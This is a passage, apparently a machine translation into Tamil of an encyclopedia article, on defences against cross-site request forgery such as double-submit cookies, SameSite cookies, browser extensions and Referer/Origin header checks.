இலக்கு வலைத்தளம் அதன் ஒரே-தோற்றக் கொள்கையை முடக்கினால் இந்த நுட்பத்தால் வழங்கப்படும் பாதுகாப்பைத் தடுக்க முடியும்ஃ ஃப்ளாஷ் திரைப்படங்களுக்கு எதிர்பாராத அணுகலை வழங்கும் சில்வர்லைட் கட்டுப்பாட்டு கோப்புக்கு எதிர்பாராத அணுகலை வழங்கும் கோப்பு இரட்டை சமர்ப்பிப்பு குக்கீ இதேபோல் குக்கீ-க்கு-தலைப்பு அணுகுமுறைக்கு, ஆனால் ஜாவாஸ்கிரிப்ட் இல்லாமல், ஒரு தளம் ஒரு சி. எஸ். ஆர். எஃப் டோக்கனை குக்கீயாக அமைக்கலாம், மேலும் ஒவ்வொரு எச். டி. எம். எல் வடிவத்திலும் அதை மறைக்கப்பட்ட புலமாக செருகலாம். படிவம் சமர்ப்பிக்கப்படும்போது, குக்கீ டோக்கன் படிவ டோக்கனுடன் பொருந்துகிறதா என்பதை தளம் சரிபார்க்கலாம். ஒரே தோற்றக் கொள்கை ஒரு தாக்குபவர் இலக்கு களத்தில் குக்கீகளைப் படிப்பதையோ அமைப்பதையோ தடுக்கிறது, எனவே அவர்கள் வடிவமைக்கப்பட்ட வடிவத்தில் செல்லுபடியாகும் டோக்கனை வைக்க முடியாது. ஒத்திசைவு முறையை விட இந்த நுட்பத்தின் நன்மை என்னவென்றால், டோக்கனை சேவையகத்தில் சேமிக்க வேண்டியதில்லை. சேவையகம் ஒரு குக்கீயை அமைக்கும்போது ஒரு கூடுதல் "சாம்சைட்" பண்புக்கூறு சேர்க்கப்படலாம், இது குறுக்கு தள கோரிக்கைகளுக்கு குக்கீயை இணைக்க வேண்டுமா என்று உலாவிக்கு அறிவுறுத்துகிறது. இந்த பண்புக்கூறு "கண்டிப்பானது" என்று அமைக்கப்பட்டிருந்தால், குக்கீ அதே தள கோரிக்கைகளுக்கு மட்டுமே அனுப்பப்படும், இது சி. எஸ். ஆர். எஃப் செயலற்றதாக இருக்கும். இருப்பினும், இதற்கு உலாவி பண்புக்கூறுகளை அடையாளம் கண்டு சரியாக செயல்படுத்த வேண்டும். கிளையன்ட்-சைட் பாதுகாப்புகள் ரிக்வெஸ்ட் பாலிசி (மொஸில்லா ஃபயர்பாக்ஸுக்கு) அல்லது (ஃபயர்பாக்ஸ் மற்றும் கூகிள் குரோம்/குரோமியம் இரண்டிற்கும்) போன்ற உலாவி நீட்டிப்புகள் குறுக்கு-தள கோரிக்கைகளுக்கு இயல்புநிலை-மறுப்புக் கொள்கையை வழங்குவதன் மூலம் சி. எஸ். ஆர். எஃப் ஐத் தடுக்கலாம். இருப்பினும், இது பல வலைத்தளங்களின் இயல்பான செயல்பாட்டில் கணிசமாக தலையிடக்கூடும். சி. எஸ். ஃபயர் நீட்டிப்பு (பயர்பாக்ஸுக்கும் கூட) குறுக்கு-தள கோரிக்கைகளிலிருந்து அங்கீகாரத் தகவலை அகற்றுவதன் மூலம், சாதாரண உலாவலில் குறைவான தாக்கத்துடன் சி. எஸ். ஆர். எஃப் இன் தாக்கத்தை குறைக்க முடியும். ஃபயர்பாக்ஸிற்கான நோஸ்கிரிப்ட் நீட்டிப்பு நம்பகமான தளங்களிலிருந்து நம்பகமான தளங்களை வேறுபடுத்துவதன் மூலமும், நம்பகமான தளங்களுக்கு நம்பகமான தளங்களால் அனுப்பப்பட்ட போஸ்ட் கோரிக்கைகளிலிருந்து அங்கீகாரம் மற்றும் பேலோடுகளை அகற்றுவதன் மூலமும் சி. எஸ். ஆர். எஃப் அச்சுறுத்தல்களைத் தணிக்கிறது. நோஸ்கிரிப்டில் உள்ள பயன்பாட்டு எல்லை அமலாக்க தொகுதி இணைய பக்கங்களிலிருந்து உள்ளூர் தளங்களுக்கு அனுப்பப்படும் கோரிக்கைகளையும் தடுக்கிறது (எ. கா. லோக்கல் ஹோஸ்ட்), உள்ளூர் சேவைகள் (uTorrent போன்றவை) அல்லது திசைவிகள் மீது CSRF தாக்குதல்களைத் தடுக்கிறது. பயர்பாக்ஸிற்கான சுய அழிக்கும் குக்கீகளின் நீட்டிப்பு சிஎஸ்ஆர்எஃப்-இலிருந்து நேரடியாகப் பாதுகாக்காது, ஆனால் திறந்த தாவலுடன் குக்கீகள் இனி இணைக்கப்படாதவுடன் அவற்றை நீக்குவதன் மூலம் தாக்குதல் சாளரத்தைக் குறைக்கலாம். பிற நுட்பங்கள் வரலாற்று ரீதியாக சி. எஸ். ஆர். எஃப் தடுப்புக்கு பல்வேறு பிற நுட்பங்கள் பயன்படுத்தப்பட்டுள்ளன அல்லது முன்மொழியப்பட்டுள்ளனஃ கோரிக்கையின் தலைப்புகளில் எக்ஸ்-கோரப்பட்ட-வித் (v2.0 க்கு முன் தண்டவாளங்களில் ரூபி மற்றும் v1.2.5 க்கு முன் ஜாங்கோ பயன்படுத்தப்படுகிறது) அல்லது எச். டி. டி. பி ரெஃபரர் தலைப்பு மற்றும்/அல்லது எச். டி. டி. பி ஆரிஜின் தலைப்பை சரிபார்க்கிறது. அங்கீகரிக்கப்பட்ட பக்கத்திலிருந்து கோரிக்கை வருகிறது என்பதைப் பார்க்க HTTP குறிப்பு தலைப்பைச் சரிபார்ப்பது பொதுவாக உட்பொதிக்கப்பட்ட நெட்வொர்க் சாதனங்களுக்கு பயன்படுத்தப்படுகிறது, ஏனெனில் இது நினைவகத் தேவைகளை அதிகரிக்காது. இருப்பினும், குறிப்பு தலைப்பைத் தவிர்க்கும் கோரிக்கை அங்கீகரிக்கப்படாததாகக் கருதப்பட வேண்டும், ஏனெனில் ஒரு தாக்குபவர் எஃப். டி. பி அல்லது எச். டி. டி. பி. எஸ் URL களிலிருந்து கோரிக்கைகளை வழங்குவதன் மூலம் குறிப்பு தலைப்பை அடக்க முடியும். இந்த கடுமையான ரெஃபரர் சரிபார்ப்பு தனியுரிமை காரணங்களுக்காக ரெஃபரர் தலைப்பைத் தவிர்க்கும் உலாவிகள் அல்லது ப்ராக்ஸிகளில் சிக்கல்களை ஏற்படுத்தக்கூடும். மேலும், ஃப்ளாஷின் பழைய பதிப்புகள் (9.0.18 க்கு முன்பு) தீங்கிழைக்கும் ஃப்ளாஷ் சி. ஆர். எல். எஃப் ஊசியைப் பயன்படுத்தி தன்னிச்சையான HTTP கோரிக்கை தலைப்புகளுடன் GET அல்லது POST கோரிக்கைகளை உருவாக்க அனுமதிக்கிறது. ஒரு வாடிக்கையாளரின் இதேபோன்ற சி. ஆர். எல். எஃப் ஊசி பாதிப்புகள் ஒரு எச். டி. டி. பி கோரிக்கையின் பரிந்துரைப்பாளரை ஏமாற்ற பயன்படுத்தப்படலாம். போஸ்ட் கோரிக்கை முறை சிறிது காலத்திற்கு URL இல் உள்ள அளவுருக்களைப் பயன்படுத்தி (GET முறையைப் பயன்படுத்தி) அற்பமான சி. எஸ். ஆர். எஃப் தாக்குதல்களிலிருந்து விடுபடுவதாகக் கருதப்பட்டது. இருப்பினும், பிஓஎஸ்டி மற்றும் வேறு எந்த எச். டி. டி. பி முறையையும் இப்போது எக்ஸ்எம்எல்எச். டி. டி. பி. ரிக்வெஸ்டைப் பயன்படுத்தி எளிதாக செயல்படுத்த முடியும். எதிர்பாராத GET கோரிக்கைகளை வடிகட்டுவது தீங்கிழைக்கும் பட URL கள் அல்லது இணைப்பு முகவரிகளைப் பயன்படுத்தி குறுக்கு-தள தாக்குதல்கள் மற்றும் <ஸ்கிரிப்ட்> கூறுகள் (ஜாவாஸ்கிரிப்ட் கடத்தல்) மூலம் குறுக்கு-தள தகவல் கசிவு போன்ற சில குறிப்பிட்ட தாக்குதல்களைத் தடுக்கிறது; இது ஆக்கிரமிப்பு வலை ஊர்ந்து செல்வோர் மற்றும் இணைப்பு முன் பெறுதல் ஆகியவற்றுடன் (பாதுகாப்பு அல்லாத) சிக்கல்களையும் தடுக்கிறது. குறுக்கு-தள ஸ்கிரிப்டிங் (எக்ஸ்எஸ்எஸ்) பாதிப்புகள் (அதே களத்தில் இயங்கும் பிற பயன்பாடுகளிலும் கூட) தாக்குபவர்களை அனைத்து சிஎஸ்ஆர்எஃப் தடுப்புகளையும் தவிர்க்க அனுமதிக்கின்றன. மேலும் காண்கஃ BREACH குழப்பமான துணை சிக்கல் CRIME வெப் மெசேஜிங் ஹீப் ஸ்ப்ரேயிங் ரீப்ளே தாக்குதல் அமர்வு நிர்ணயம் பயன்பாட்டு பாதுகாப்பு குறிப்புகள் வெளிப்புற இணைப்புகள் குறுக்கு தள கோரிக்கை மோசடி பற்றி மிகவும் தேர்ந்தெடுக்கப்பட்ட உண்மை குறுக்கு தள கோரிக்கை FAQ குறுக்கு தள கோரிக்கை இணைய பயன்பாட்டு பாதுகாப்பு கூட்டமைப்பு அச்சுறுத்தல் வகைப்பாட்டுத் திட்டத்திலிருந்து மோசடி வலை பாதுகாப்பு சுரண்டல்கள்